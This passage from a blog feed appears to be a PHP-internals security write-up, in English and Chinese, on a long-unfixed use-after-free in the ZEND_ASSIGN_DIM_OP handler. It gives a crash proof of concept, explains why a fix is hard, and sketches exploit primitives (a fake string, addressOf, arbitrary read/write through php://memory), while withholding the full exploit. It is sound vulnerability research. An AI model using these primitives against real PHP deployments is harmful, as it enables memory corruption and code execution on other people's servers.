class="variable">$str100_addr</span> + <span class="number">0x8</span>);</span><br><span class="line">    writestr64(<span class="variable">$user_str</span>, <span class="variable">$first_elem_offset</span> - <span class="variable">$zend_string_header</span> + <span class="number">0x8</span>, (<span class="number">6</span> | (<span class="number">1</span> &lt;&lt; <span class="number">8</span>)));</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="variable">$heap</span> = <span class="variable">$victim_arr</span>[<span class="string">&#x27;a1&#x27;</span>] .= <span class="variable">$undef_var</span>;</span><br></pre></td></tr></table></figure><ul><li>Line 1 <code>reset_victim_arr_and_user_str()</code> resets <code>$victim_arr</code> and <code>$user_str</code> to ensure that the UAF is triggered later.</li><li>Inside the error_handler, we construct a fake zval that points to our fake_string.</li><li>Note that in line 15, we use <code>$heap</code> to hold the result of the subsequent array assignment calculation. The result of the array assignment calculation is the concatenation of fake_string with an empty string, meaning that <code>$heap</code> is the fake_string.</li></ul><p>We can read the contents of the PHP heap by reading <code>$heap</code>. But that's not all; we can also modify the content of <code>$heap</code> corresponding to fake_string without triggering copy-on-write. Not triggering copy-on-write is crucial here. In theory, if <code>$heap</code> holds the result of the array assignment, i.e., fake_string, the reference count of fake_string should be incremented. If the reference count of fake_string is greater than 1, when we modify <code>$heap</code>, copy-on-write will occur, preventing us from modifying the content of fake_string. Furthermore, we might even cause PHP to terminate when copy-on-write occurs, as the size of fake_string may be large, making it impossible to copy it. For example, referring to the earlier <code>0x00007fff00303031</code>.</p><p>So why doesn't copy-on-write occur here? Let's look at the gc_info of fake_string; its value is the hash of the original <code>string: "100"</code>, which is <code>0x00</code>. PHP checks if a value is refcounted by checking if gc_info is not <code>0x00</code>. This means that PHP considers fake_string to be non-refcounted, i.e., not an object of interest to the garbage collector. This means that the result of the array assignment calculation is also not refcounted, so there is no copy-on-write here. Copy-on-write only applies to refcounted values.</p><h2 id="x08-constructing-addressof">0x08 Constructing addressOf</h2><p>Now we have a memory area that is readable and writable, and we know its location. In fact, we could stop here. For example, like the exploitation method in [5]:</p><ol type="1"><li>Spray a large number of memory structures we want to read on the heap to obtain the addresses we want.</li><li>Spray a large number of content structures we want to write to on the heap and write the values we want.</li></ol><p>This is how I used it in the first version of exploitation. However, there are still many uncertainties here. For example, if the memory structure we sprayed is not in the memory chunk we can view, the exploitation may fail. In this case, we need to readjust the position of fake_string, such as first spraying a large number of <code>string: "100"</code> to move it to a new memory chunk.</p><p>No there's like not sure, I'm the same. Here, we will construct a more stable addressOf to help us locate the positions of memory structures we want. For example:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$num</span> = <span class="number">1111</span>;</span><br><span class="line"><span class="variable">$num_value</span> = addressOf(<span class="variable">$num</span>);</span><br><span class="line"><span class="variable">$str</span> = <span class="string">&quot;aaaaaaa&quot;</span>;</span><br><span class="line"><span class="variable">$str_addr</span> = addressOf(<span class="variable">$func</span>);</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="built_in">stdClass</span>();</span><br><span class="line"><span class="variable">$obj_addr</span> = addressOf(<span class="variable">$obj</span>);</span><br></pre></td></tr></table></figure><p>It has the following functionality:</p><ul><li>For values that are not refcounted, we can directly obtain their immediate value using addressOf, such as <code>$num</code> above.</li><li>For refcounted values, we can obtain their address using addressOf, such as <code>$str</code> and <code>$obj</code> above.</li></ul><p>Our idea is to arrange an <code>array: [0, 1, 2, 3, 4, 5, 6, 7]</code> on the block of memory mentioned earlier, like this:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">array : [0, 1, 2, 3, 4, 5, 6, 7]                     </span><br><span class="line">┌───────────────┐                                    </span><br><span class="line">│packed_arr_flag│                     butterfly      </span><br><span class="line">├───────────────┤                  ┌────────────────┐</span><br><span class="line">│   ...         │                  │    invalid_idx │</span><br><span class="line">│   ...         │                  ├────────────────┤</span><br><span class="line">├───────────────┤                  │    invalid_idx │</span><br><span class="line">│  arData       ├─────────────────►├────────────────┤</span><br><span class="line">├───────────────┤                  │     bucket0    │</span><br><span class="line">│   ...         │                  ├────────────────┤</span><br><span class="line">│   ...         │                  │     ...        │</span><br><span class="line">│               │                  ├────────────────┤</span><br><span class="line">│               │                  │     bucket7    │</span><br><span class="line">│               │                  └────────────────┘</span><br><span class="line">└───────────────┘            </span><br></pre></td></tr></table></figure><p>Our idea:</p><ol type="1"><li>Control the reference count of this fake array to be 1.</li><li>Use the fakeZval primitive to wrap this fake_array.</li><li>Trigger the earlier UAF, fake_array is released, and we immediately request the same array <code>$hax</code> to obtain this block of memory.</li><li>Suppose the value you want to read is <code>$val</code>, then make <code>$hax[0] = $val</code>.</li><li>Then we read the content of the first element of the butterfly on <code>$heap</code> to obtain what we want.</li></ol><p>It should be noted that when freeing a small block of memory, PHP first determines the page it belongs to and then determines which bin it belongs to based on its size to place it correctly on the free_list. So you need to determine the position of the fake array you constructed. If you want to bypass this limitation, you can allocate an oversized block of memory to fabricate a memory chunk yourself; you can refer to [16] for details.</p><h2 id="x09-arbitrary-readwrite-primitive">0x09 Arbitrary Read/Write Primitive</h2><p>I set my sights on <code>php://memory</code> [15], where PHP manages a block of memory as a file. The structure controlling the size of this block of memory is:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line"><span class="keyword">char</span>        *data;</span><br><span class="line"><span class="keyword">size_t</span>      fpos;</span><br><span class="line"><span class="keyword">size_t</span>      fsize;</span><br><span class="line"><span class="keyword">size_t</span>      smax;</span><br><span class="line"><span class="keyword">int</span>mode;</span><br><span class="line">&#125; php_stream_memory_data;</span><br></pre></td></tr></table></figure><p>Our idea:</p><ol type="1"><li>Arrange a <code>string</code> on <code>$heap</code> that is the size of <code>sizeof(php_stream_memory_data)</code>.</li><li>Use UAF to release this <code>string</code>, ensuring that <code>fopen("php://memory")</code> obtains a <code>php_stream</code>.</li><li>Modify the <code>data</code> pointer, <code>fpos</code>, and <code>fsize</code> above to read/write any area.</li></ol><p>Similarly, be sure to release the page where the <code>string</code> is located.</p><h2 id="x0a-full-exploitation">0x0A Full Exploitation</h2><p>Not provided for now because it has not been patched yet.</p><h2 id="x0b-conclusion">0x0B Conclusion</h2><p>We have analyzed the issues in PHP IR and why they have not been fixed for a long time, and finally proposed a fix suggestion. I also wrote about three butterflies that helped me during my exploration of this issue. Finally, I shared my exploitation methods, attempting to transplant common primitives from JS engine exploitation to PHP. Once I stepped out of the misunderstanding, many ideas were born during the construction of the exploitation process. In fact, this is not a particularly difficult exploitation; it's just that I am a bit slow. I believe that there are many similarities in the exploitation of different interpreters or compilers, which can be mutually learned and studied, and may help you find more ideas.</p><p>Finally, the "The Elegy of PHP" in the title is more of a farewell to the past. In the future, I will pay more attention to the new JIT compiler that PHP may release soon and hope to bring you some interesting stories about it in the future.</p><h2 id="x0b-references">0x0B References</h2><ol type="1"><li>风雪之隅, https://www.laruence.com/</li><li>深入理解PHP7内核之HashTable, https://www.laruence.com/2020/02/25/3182.html</li><li>crash.php, https://github.com/m4p1e/php-exploit/blob/master/crash.php</li><li>zend_assign_dim_op, https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h#L1151</li><li>CVE-2023-3824: 幸运的Off-by-one (two?), https://m4p1e.com/2024/03/01/CVE-2023-3824/</li><li>WebAssembly安全研究总结, https://mp.weixin.qq.com/s/cPUaDQaCWpZiBEgZqbqvPg</li><li>JavaScript engine exploit（二）,https://www.anquanke.com/post/id/183805</li><li>Browser Exploitation, https://liveoverflow.com/topic/browser-exploitation/</li><li>Attacking JavaScript Engine, http://www.phrack.org/issues/70/3.html</li><li>Pwning Lua through 'load', https://saelo.github.io/posts/pwning-lua-through-load.html</li><li>LuaJIT Internals: Intro, https://0xbigshaq.github.io/2022/08/22/lua-jit-intro/</li><li>dstogov/ir, https://github.com/dstogov/ir</li><li>https://www.researchgate.net/publication/374470404_IR_JIT_Framework_a_base_for_the_next_generation_JIT_for_PHP</li><li>Zend/zend_types.h, https://github.com/php/php-src/blob/master/Zend/zend_types.h</li><li>PHP memory wrapper https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory</li><li>RWCTF2021 Mop 0day Writeup, https://m4p1e.com/2021/01/13/rwctf2021-master-of-php/</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;x01-issues-in-ir-design&quot;&gt;0x01 Issues in IR Design&lt;/h2&gt;
&lt;h3 id=&quot;source-of-the-problem&quot;&gt;1.1 Source of the Problem&lt;/h3&gt;
&lt;p&gt;I first lear</summary>
      
    
    
    
    <category term="php" scheme="https://m4p1e.com/categories/php/"/>
    
    
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    <title>PHP之殇 :  一个IR设计缺陷引发的蝴蝶效应</title>
    <link href="https://m4p1e.com/2024/03/13/bad_php_ir/"/>
    <id>https://m4p1e.com/2024/03/13/bad_php_ir/</id>
    <published>2024-03-13T16:20:00.000Z</published>
    <updated>2024-09-10T11:42:55.136Z</updated>
    
    <content type="html"><![CDATA[<h2 id="x01-ir设计中的问题">0x01 IR设计中的问题</h2><h3 id="问题来源">1.1 问题来源</h3><p><a href="https://www.laruence.com/">鸟哥</a>(Laruence) [1]是所有国内PHPer应该都知道的一个人。鸟哥的博客是我早期学习PHP内核的时候经常会去的地方。在2020年的时候，鸟哥发了一篇《深入理解PHP7内核之HashTable》的文章[2]，在文章的结尾提到了一个问题:</p><blockquote><p>在实现zend_array替换HashTable中我们遇到了很多的问题，绝大部份它们都被解决了，但遗留了一个问题，因为现在arData是连续分配的，那么当数组增长大小到需要扩容到时候，我们只能重新realloc内存，但系统并不保证你realloc以后，地址不会发生变化，那么就有可能：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$array</span> = range(<span class="number">0</span>, <span class="number">7</span>);</span><br><span class="line"> </span><br><span class="line">set_error_handler(<span class="function"><span class="keyword">function</span>(<span class="params"><span class="variable">$err</span>, <span class="variable">$msg</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$array</span>;</span><br><span class="line">    <span class="variable">$array</span>[] = <span class="number">1</span>; <span class="comment">//force resize;</span></span><br><span class="line">&#125;);</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">crash</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$array</span>;</span><br><span class="line">    <span class="variable">$array</span>[<span class="number">0</span>] += <span class="variable">$var</span>; <span class="comment">//undefined notice</span></span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line">crash();</span><br></pre></td></tr></table></figure><p>比如上面的例子， 首先是一个全局数组，然后在函数crash中， 在+= opcode handler中，zend vm会首先获取array[0]的内容，然后+$var, 但var是undefined variable， 所以此时会触发一个未定义变量的notice，而同时我们设置了error_handler, 在其中我们给这个数组增加了一个元素， 因为PHP中的数组按照2^n的空间预先申请，此时数组满了，需要resize，于是发生了realloc，从error_handler返回以后，array[0]指向的内存就可能发生了变化，此时会出现内存读写错误，甚至segfault，有兴趣的同学，可以尝试用valgrind跑这个例子看看。</p><p>但这个问题的触发条件比较多，修复需要额外对数据结构，或者需要拆分add_assign对性能会有影响，另外绝大部分情况下因为数组的预先分配策略存在，以及其他大部分多opcode handler读写操作基本都很临近，这个问题其实很难被实际代码触发，所以这个问题一直悬停着。</p></blockquote><p>直到今天这个问题还是<strong>悬停</strong>着。对于普通PHP开发者而言，这可能确实不算是一个很大的问题，但对于做安全的人来说，这里可能隐藏一个很严重的安全问题。因为它是我见过为数不多出现在PHP VM中的问题，而不是平时出现在各种PHP native libraries中的问题。一旦可以被利用，影响将非常之大。所以这个问题一直就放在了我的心上，它也一直以<code>crash.php</code> [3] 在我的PHP-exploit repo中放了4年. 特别地，只要你用PHP7或者8运行它就会出现segmentfault，也不知道有没有人去尝试过。</p><h3 id="修复该问题的阻力">1.2 修复该问题的阻力</h3><p>鸟哥出给的解释非常清晰明了，这里我试着用更加通俗的伪代码来进一步帮助不熟悉PHP内部的读者, 去理解PHP VM在第11行这里到底做了什么:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// array = [0, 1, 2, 3, 4, 5, 6, 7]</span></span><br><span class="line">arr_base = get_base_addr_of(<span class="built_in">array</span>)</span><br><span class="line">elem_addr = get_addr_by_index(array_base, index)</span><br><span class="line">elem = get_elem_from_addr(elem_addr)</span><br><span class="line"><span class="comment">// elem is ok</span></span><br><span class="line">check_var(var)</span><br><span class="line"><span class="comment">// is elem ok?</span></span><br><span class="line">res = add(elem, var)    </span><br><span class="line">assign_var_to_elem(elem, res)</span><br></pre></td></tr></table></figure><p>这里做了这样几件事:</p><ol type="1"><li>首先我们获取这个<code>array</code>存储元素内存区域的起始地址;</li><li>根据<code>index</code>获取我们指定元素的内存地址;</li><li>从<code>elem_addr</code>读取元素到<code>elem</code>;</li><li>检查<code>var</code>的合法性, 更具体一点， 当<code>var</code>是一个PHP代码中显式变量(i.e., <code>$a</code>)的时候， 检查它是否被定义过。 如果<code>var</code>是一个未定义的PHP变量, 那么VM会将var的值初始化为<code>null</code>. 因为PHP VM不能直接将<code>undefined</code> (类似JS中的特殊值)，暴露给用户代码；</li><li>对<code>elem</code>和<code>var</code>做算术加法得到结果<code>res</code>;</li><li>最后将<code>res</code>赋值给<code>elem</code>。</li></ol><p>而问题出现在第6行这里，<code>check_var(var)</code>可能会产生副作用(side-effects)，从而<strong>clobbering the world</strong>。这个词我是从JavaScriptCore (WebKit的JS引擎) 中学到的，副作用的出现可能会导致之前的计算结果变得的不可信，在这种不确定地情况下，我们是不能直接使用这些计算结果的。这里的<code>elem</code>是否还依然正确地指向待写入的目标元素呢？ 在第6行之后我们是不能确定的，因为它指向的内存地址可能已经被释放了，而正确的目标元素位置已经被搬到了其他内存上。</p><p>以上其实就是PHP opcode <code>ZEND_ASSIGN_DIM_OP</code>的大致解释过程，完整的解释过程你可以在[4]中找到。那么这个问题为什么一直没有被修复呢？ 好问题。我们从几个直觉上可行的简单修复方法开始，来讲一下修复的阻力在哪里。这里我用<code>array-&gt;arData</code>表示指向第1个元素的内存地址，其余<code>array</code>其他元素都顺序地落在其后.</p><p><strong>简单方法1: 在第6行之后检查<code>elem</code>是否还落在<code>array-&gt;arData</code>相对位置上</strong></p><p>这样做只能确保<code>array-&gt;arData</code>没有发生变化，但是你如何保证ABA问题 ? 比如<code>array</code>存储元素区域被释放了，然后被其他内存结构抢占了，然后又被释放了，再被布置为原本<code>array</code>存储元素区域的布局 (另外一个和它结构相同的<code>array2</code>把这块区域抢占了)。</p><p><strong>简单方法2: 把<code>check_var</code>放在最前面</strong></p><p>那么你考虑如下形式:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$array</span>[<span class="string">&#x27;a&#x27;</span>][<span class="string">&#x27;b&#x27;</span>] = <span class="variable">$var</span>;</span><br></pre></td></tr></table></figure><p>这段代码会被翻译成类似如下的中间代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">L0 : V2 &#x3D; FETCH_DIM_W CV0($array) string(&quot;a&quot;)</span><br><span class="line">L1 : ASSIGN_DIM V2 string(&quot;b&quot;)</span><br><span class="line">L2 : OP_DATA CV1($var)</span><br></pre></td></tr></table></figure><p>这里我们考虑不带二元运算的<code>ZEND_ASSIGN_DIM</code>。以上代码等同于:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">V2 &#x3D;&amp; $array[&#39;a&#39;];</span><br><span class="line">V2[&#39;b&#39;] &#x3D; $var;</span><br></pre></td></tr></table></figure><p>其中<code>V2</code>是指向<code>$array</code>中index为<code>'a'</code>元素的位置，所以这里我用<code>=&amp;</code>来强调<code>V2</code>不是<code>$array['a']</code>。那么问题来了，如果第2行中的副作用导致在<code>$array</code>被resized了，那么这个<code>V2</code>就指向的位置就不对了。</p><p>这个问题注定了不能简单地被修复。</p><h3 id="unset-和-reassign">1.3 unset 和 reassign</h3><p>你可以试着将前面的resize操作换成unset或者reassign，如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$array</span> = range(<span class="number">0</span>, <span class="number">7</span>);</span><br><span class="line"></span><br><span class="line">set_error_handler(<span class="function"><span class="keyword">function</span>(<span class="params"><span class="variable">$err</span>, <span class="variable">$msg</span></span>) </span>&#123;</span><br><span class="line"> <span class="keyword">global</span> <span class="variable">$array</span>;</span><br><span class="line"> <span class="comment">// $array = 2;</span></span><br><span class="line"> <span class="keyword">unset</span>(<span class="variable">$array</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">crash</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"> <span class="keyword">global</span> <span class="variable">$array</span>;</span><br><span class="line"> <span class="variable">$array</span>[<span class="number">0</span>] += <span class="variable">$var</span>; <span class="comment">//undefined notice</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">crash();</span><br></pre></td></tr></table></figure><p>两个情况有些不太一样:</p><ol type="1"><li><code>unset($array)</code>，只是将<code>$array</code>在当前function scope内给"清理"掉了，并不影响全局变量中的<code>$array</code>，所以这里没有问题。</li><li><code>$array = 2</code>会影响到所有引用到它的地方，因此这里产生了和resize一样的问题。</li></ol><p>有趣地是，官方已经注意到这样的问题，比如它对undefined <code>index</code> (i.e., <code>$arr[$undef_var] = 1</code>)产生的副作用做出了检查。而对要写入的值没有做检查。</p><ol type="1"><li>这里它首先让<code>ht</code> (<code>HashTable</code>是<code>zend_array</code>的别名) 引用计数加1，把这个array hold住。</li><li>等错误处理函数返回之后，再减去这个前面加上的引用计数，如果引用计数没有发生变化，说明array没有被释放。</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> zend_never_inline zend_uchar <span class="title">slow_index_convert</span><span class="params">(HashTable *ht, <span class="keyword">const</span> zval *dim, zend_value *value EXECUTE_DATA_DC)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">switch</span> (Z_TYPE_P(dim)) &#123;</span><br><span class="line"><span class="keyword">case</span> IS_UNDEF: &#123;</span><br><span class="line"><span class="comment">/* The array may be destroyed while throwing the notice.</span></span><br><span class="line"><span class="comment"> * Temporarily increase the refcount to detect this situation. */</span></span><br><span class="line"> <span class="keyword">if</span> (!(GC_FLAGS(ht) &amp; IS_ARRAY_IMMUTABLE)) &#123;</span><br><span class="line">GC_ADDREF(ht);</span><br><span class="line">&#125;</span><br><span class="line">ZVAL_UNDEFINED_OP2();</span><br><span class="line"><span class="keyword">if</span> (!(GC_FLAGS(ht) &amp; IS_ARRAY_IMMUTABLE) &amp;&amp; !GC_DELREF(ht)) &#123;</span><br><span class="line">zend_array_destroy(ht);</span><br><span class="line"><span class="keyword">return</span> IS_NULL;</span><br><span class="line">&#125;</span><br><span class="line">            <span class="comment">// ...</span></span><br></pre></td></tr></table></figure><h3 id="可能的修复方法">1.4 可能的修复方法</h3><p>将<code>ZEND_ASSIGN_DIM</code>或者<code>ZEND_ASSIGN_DIM_OP</code> (同时包括所有的array fetch操作) 改成支持<strong>multi-index</strong>, 是我觉得最直接的手法。比如前面的<code>$array['a']['b'] = $var;</code>会被翻译为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">L0 : V2 &#x3D; FETCH_DIM_W CV0($array) string(&quot;a&quot;)</span><br><span class="line">L1 : ASSIGN_DIM V2 string(&quot;b&quot;)</span><br><span class="line">L2 : OP_DATA CV1($var)</span><br></pre></td></tr></table></figure><p>那么现在直接翻译为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">L0 : ASSIGN_DIM CV0($array) [string(&quot;b&quot;), string(&quot;b&quot;)]</span><br><span class="line">L1 : OP_DATA CV1($var)</span><br></pre></td></tr></table></figure><p>并且再此之前把所有的indexs和带待写入的var对应的表达式全部计算完成。注意这并不会改变现在PHP求值顺序. 考虑如下代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">func1</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;func1\n&quot;</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">func2</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;func2\n&quot;</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$a</span> = [];</span><br><span class="line">set_error_handler(<span class="function"><span class="keyword">function</span>(<span class="params"><span class="variable">$err</span>, <span class="variable">$msg</span></span>)</span>&#123;<span class="keyword">echo</span> <span class="variable">$msg</span>.<span class="string">&quot;\n&quot;</span>;&#125;);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$a</span>[func1()][func2()];</span><br><span class="line"><span class="comment">/* output at PHP 8.3.3:</span></span><br><span class="line"><span class="comment">func1</span></span><br><span class="line"><span class="comment">func2</span></span><br><span class="line"><span class="comment">Undefined array key 1</span></span><br><span class="line"><span class="comment">Trying to access array offset on null</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><p>可以看到<code>index</code>也是全部是先计算完成的。</p><h3 id="事情永远没有想的那么简单">1.5 事情永远没有想的那么简单</h3><p>我之前不打算为这个问题在PHP的repo上开一个issue, 因为我觉得这个问题PHP的核心开发者都知道。它第一次出现地方<a href="https://bugs.php.net/bug.php?id=78598">bug78598</a>，nikic当时只注意到了undefined index，这发生在2019年。但我还是为此开了一个<a href="https://github.com/php/php-src/issues/13754">issue</a>，因为借此机会提醒一下PHP开发者。从这个issue里面，我才知道了原来有人还在为此努力。我也才意识到上面给出的fix只能修复单纯的array assignment/fetch，因为我忘记了还有object assignment和fetch也有此类问题。Ilija Tovilo为此做出了两次努力:</p><p>first commit:</p><p>https://github.com/iluuu1994/php-src/commit/fa475eac27dd7ab23e3670a1b3f19e4ad914210d</p><p>second commit:</p><p>https://github.com/iluuu1994/php-src/commit/198b22ac63e4c25028bccf8a5e9168d1ff2f0443</p><p>很感谢lija，和他交流中得知了delayed error这个想法。这个想法和我前面的想法完全相反，我前面想法是希望尽可能地把errors抛出来，使得由此引发的副作用在fetch address of element之前早早的生效。而delayed error是希望将array assignement过程发生的error延迟到array assignment完成之后再处理。</p><p>delayed error handling实际和正常的exception handling有点像，不同的是在delayed error handling结束之后会调到触发它的next opcode继续执行。有点像functional programming里面的algebraic effects. 在实现delayed error handling的细节上还是有些问题的，比如如何在目前的PHP JIT中处理它，目前PHP中哪些地方需要这个机制，需要人为的去trigger它。更多的细节可以查看<a href="https://github.com/php/php-src/issues/13754">issue</a>。</p><p>这问题比我当初想的还要复杂，lija称其为" fundamentally hard "。它大概在未来还会存在一段很长的时间...</p><h2 id="x02-三只蝴蝶-butterfly">0x02 三只蝴蝶 (butterfly)</h2><p>TL;DR. 如果不想听故事可以跳过这一章节。</p><p>四年前，在知道了这个问题之后，我就开始了探索应该如何利用它。非常可惜，我不太聪明，四年都没有能想出个招。这四年，我的工作也和PHP紧密结合在一起，在PHP里面写了大概有40-50k行代码吧，以至于我近乎写出了一个全新的PHP解释器，很难想象这是一个做安全的人在做的事情。所以我对PHP要稍微了解那么多一点点。</p><p>我能完成这篇文章，是因为有三只蝴蝶。第一只蝴蝶，教会我了一些新的方法; 第二只蝴蝶，让我发现了新大陆; 第三只蝴蝶，带我走出了困境。</p><p>之前，我其实一直被困在一个误区里面。我的基本想法是:</p><ol type="1"><li><code>array</code>会被resize。</li><li>然后我马上拿到<code>array</code>释放的内存，这样就可以造一个UAF出来。</li></ol><p>这里没有问题。</p><p>这里贴一下前面的关于<code>ZEND_ASSIGN_DIM_OP</code>类似的<code>ZEND_ASSIGN_DIM</code>的伪代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// array = [0, 1, 2, 3, 4, 5, 6, 7]</span></span><br><span class="line">arr_base = get_addr_of(<span class="built_in">array</span>)</span><br><span class="line">elem_addr = get_addr_of(array_base, index)</span><br><span class="line">elem = get_elem_from_addr(elem_addr)</span><br><span class="line">check_var(var)</span><br><span class="line">assign_var_to_elem(elem, var)</span><br></pre></td></tr></table></figure><p>但是问题来了，其中<code>assign_var_to_elem</code>只能像目标内存写一个特殊的<code>null</code> (前面提到<code>var</code>会被初始化为<code>null</code>)值, 并且过程中需要对<code>elem</code>进行检查。换句话说目标内存需要有比较苛刻的memory layout. 其次受鸟哥代码中的<code>a[0] += $var</code>影响，我觉得这个<code>null</code>只能在这块内存稍前的位置写入。这就是我的误区。结合以上原因一直让我找不到一个合适的structure来hold这块内存。</p><p>过去我逐渐地其实不太关注PHP里面的安全了，有时候写代码也会发现一些问题，但也觉得就那么回事。直到最近看见了关于LockBit的新闻，突然有了兴趣，才有了《CVE-2023-3824: 幸运的Off-by-one (two?)》[5] 一文。在文章写完后的几天，我又去逛逛了安全圈看看大家都在研究什么，在这过程中发现那三只蝴蝶。</p><p>首先发现了一篇《WebAssembly安全研究总结》[6]。 这篇文章中重要介绍了如何通过构造恶意的bytecode来攻击Wasm引擎，挺有趣的，也行PHP opcache中的也有类似的问题。我个人比较喜欢解释器和编译器上的一些安全研究，然后我就想去看看有没有关于Wasm更深入一点研究，搜索了一下作者其他的文章。</p><p><strong>第一只蝴蝶</strong></p><p>我又发现了作者有许多关于JavaScriptCore (jsc) 的研究，我之前是没有接触过jsc，只短暂接触过V8。感觉似乎挺有趣的，那就来感受一下吧。在文章[7]和系列文章[8]的帮助下，使得我的博客中又多了一篇《CVE-2018-4262: Apple Safari RegExp Match Type Confusion by JIT》。在这过程中积累了一点点关于jsc的姿势。特别地，里面的部分构造(box/unbox)让我大开眼界，可谓是相当之精彩，以至于后面在PHP的构造中我都想重现它。 jsc里面有一个用来作为存储JSObject的properties和elements特殊结构叫butterfly, 因为其内存结构像一只带翅膀的蝴蝶，顾名butterfly。ascii graph来自[9]</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">--------------------------------------------------------</span><br><span class="line">.. | propY | propX | length | elem0 | elem1 